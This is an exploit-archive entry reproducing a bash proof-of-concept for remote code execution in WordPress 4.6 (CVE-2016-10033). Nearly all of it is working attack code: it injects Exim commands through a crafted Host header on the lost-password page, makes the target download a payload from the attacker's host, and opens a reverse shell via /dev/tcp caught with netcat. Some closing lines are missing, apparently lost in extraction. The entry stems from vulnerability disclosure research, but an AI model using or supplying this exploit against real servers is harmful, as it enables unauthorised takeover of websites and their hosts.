发布 2017-05-03 漏洞条目

WordPress Core 4.6 – Remote Code Execution

Exploit Source

#!/bin/bash

# __ __ __ __ __

# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________

# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/

# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )

# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/

# /____/

# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit

# CVE-2016-10033

# wordpress-rce-exploit.sh (ver. 1.0)

# Discovered and coded by

# Dawid Golunski (@dawid_golunski)

# https://legalhackers.com

# ExploitBox project:

# https://ExploitBox.io

# Full advisory URL:

# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

# Exploit src URL:

# https://exploitbox.io/exploit/wordpress-rce-exploit.sh

# Tested on WordPress 4.6:

# https://github.com/WordPress/WordPress/archive/4.6.zip

# Usage:

# ./wordpress-rce-exploit.sh target-wordpress-url

# Disclaimer:

# For testing purposes only

# -----------------------------------------------------------------

# Interested in vulns/exploitation?

# .;lc'

# .,cdkkOOOko;.

# .,lxxkkkkOOOO000Ol'

# .':oxxxxxkkkkOOOO0000KK0x:'

# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.

# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.

# '';ldxxxxxdc,. ,oOXXXNNNXd;,.

# .ddc;,,:c;. ,c: .cxxc:;:ox:

# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:

# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:

# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:

# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:

# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:

# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:

# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:

# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:

# .dxxxxxdl;. ., .. .;cdxxxxxx:

# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:

# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.

# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.

# .':oxxxxxxxxx.ckkkkkkkkxl,.

# .,cdxxxxx.ckkkkkxc.

# .':odx.ckxl,.

# .,.'.

# https://ExploitBox.io

# https://twitter.com/Exploit_Box

# -----------------------------------------------------------------

rev_host="192.168.57.1"

function prep_host_header() {

cmd="$1"

rce_cmd="\${run{$cmd}}";

# replace / with ${substr{0}{1}{$spool_directory}}

#sed 's^/^${substr{0}{1}{$spool_directory}}^g'

rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"

# replace ' ' (space) with

#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'

rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"

#return "target(any -froot@localhost -be $rce_cmd null)"

host_header="target(any -froot@localhost -be $rce_cmd null)"

return 0

}

#cat exploitbox.ans

intro="

DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r

bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f

G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c

G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg

IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f

IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f

X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6

b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb

NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N

TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1

QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz

NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g

G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54

eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb

WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO

TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg

ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb

MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD

G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob

WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz

NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb

MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f

X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4

bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"

intro2="

ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09

fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb

MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg

ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE

aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09

fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg

ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh

bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt

ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt

ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp

bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1

cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="

echo "$intro" | base64 -d

echo "$intro2" | base64 -d

if [ "$#" -ne 1 ]; then

echo -e "Usage:\n$0 target-wordpress-url\n"

exit 1

target="$1"

echo -ne "\e[91m[*]\033[0m"

read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice

echo

if [ "$choice" == "y" ]; then

echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"

echo -e "\e[92m[+]\033[0m Connected to the target"

# Serve payload/bash script on :80

RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"

echo "$RCE_exec_cmd" > rce.txt

python -mSimpleHTTPServer 80 2>/dev/null >&2 &

hpid=$!

# Save payload on the target in /tmp/rce

cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"

prep_host_header "$cmd"

curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword

echo -e "\n\e[92m[+]\e[0m Payload sent successfully"

# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce

cmd="/bin/bash /tmp/rce"

prep_host_header "$cmd"

curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &

echo -e "\n\e[92m[+]\033[0m Payload executed!"

echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"

nc -vv -l 1337

echo

else

echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"

exit 0

echo "Exiting..."

exit 0

作者: Dawid Golunski
日期: 2017-05-03
类别: webapps
平台: linux

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